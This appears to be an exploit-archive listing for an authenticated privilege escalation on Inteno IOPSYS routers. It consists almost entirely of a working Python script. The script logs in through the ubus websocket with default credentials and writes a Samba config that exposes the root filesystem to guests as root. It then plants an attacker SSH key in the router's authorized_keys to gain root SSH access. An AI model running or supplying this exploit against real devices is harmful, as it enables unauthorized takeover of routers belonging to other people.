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Inteno IOPSYS - (Authenticated) Local Privilege Escalation Exploit
Author
Risk
[Security Risk High
]0day-ID
Category
Date add
CVE
Platform
#!/usr/bin/python
import json
import sys
import subprocess
import socket
import os
from websocket import create_connection
def ubusAuth(host, username, password):
ws = create_connection("ws://" + host, header = ["Sec-WebSocket-Protocol: ubus-json"])
req = json.dumps({"jsonrpc":"2.0","method":"call",
"params":["00000000000000000000000000000000","session","login",
{"username": username,"password":password}],
"id":666})
ws.send(req)
response = json.loads(ws.recv())
ws.close()
try:
key = response.get('result')[1].get('ubus_rpc_session')
except IndexError:
return(None)
return(key)
def ubusCall(host, key, namespace, argument, params={}):
ws = create_connection("ws://" + host, header = ["Sec-WebSocket-Protocol: ubus-json"])
req = json.dumps({"jsonrpc":"2.0","method":"call",
"params":[key,namespace,argument,params],
"id":666})
ws.send(req)
response = json.loads(ws.recv())
ws.close()
try:
result = response.get('result')[1]
except IndexError:
if response.get('result')[0] == 0:
return(True)
return(None)
return(result)
if __name__ == "__main__":
host = "192.168.1.1"
sshkey = "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAkQMU/2HyXNEJ8gZbkxrvLnpSZ4Xz+Wf3QhxXdQ5blDI5IvDkoS4jHoi5XKYHevz8YiaX8UYC7cOBrJ1udp/YcuC4GWVV5TET449OsHBD64tgOSV+3s5r/AJrT8zefJbdc13Fx/Bnk+bovwNS2OTkT/IqYgy9n+fKKkSCjQVMdTTrRZQC0RpZ/JGsv2SeDf/iHRa71keIEpO69VZqPjPVFQfj1QWOHdbTRQwbv0MJm5rt8WTKtS4XxlotF+E6Wip1hbB/e+y64GJEUzOjT6BGooMu/FELCvIs2Nhp25ziRrfaLKQY1XzXWaLo4aPvVq05GStHmTxb+r+WiXvaRv1cbQ=="
user = "user"
pasw = "user"
conf = """[global]
netbios name = IntenoSMB
workgroup = IntenoSMB
server string = IntenoSMB
syslog = 10
encrypt passwords = true
passdb backend = smbpasswd
obey pam restrictions = yes
socket options = TCP_NODELAY
unix charset = UTF-8
preferred master = yes
os level = 20
security = user
guest account = root
smb passwd file = /etc/samba/smbpasswd
interfaces = 192.168.1.1/24 br-lan
bind interfaces only = yes
wide links = no
[pwn]
path = /
read only = no
guest ok = yes
create mask = 0700
directory mask = 0700
force user = root
"""
print("Authenticating...")
key = ubusAuth(host, user, pasw)
if (not key):
print("Auth failed!")
sys.exit(1)
print("Got key: %s" % key)
print("Dropping evil Samba config...")
ltc = ubusCall(host, key, "file", "write_tmp",
{"path":"/tmp/etc/smb.conf", "data": conf})
if (not ltc):
print("Failed to write evil config!")
sys.exit(1)
print("Creating temp file for key...")
with open(".key.tmp","a+") as file:
file.write(sshkey)
path = os.path.realpath(file.name)
print("Dropping key...")
subprocess.run("smbclient {0}pwn -U% -c 'put {1} /etc/dropbear/authorized_keys'".format(r"\\\\" + host + r"\\", path),
shell=True, check=True)
print("Key dropped")
print("Cleaning up...")
os.remove(path)
print("Exploitation complete. Try \"ssh root@%s\"" % host)
# 0day.today [2024-12-24] #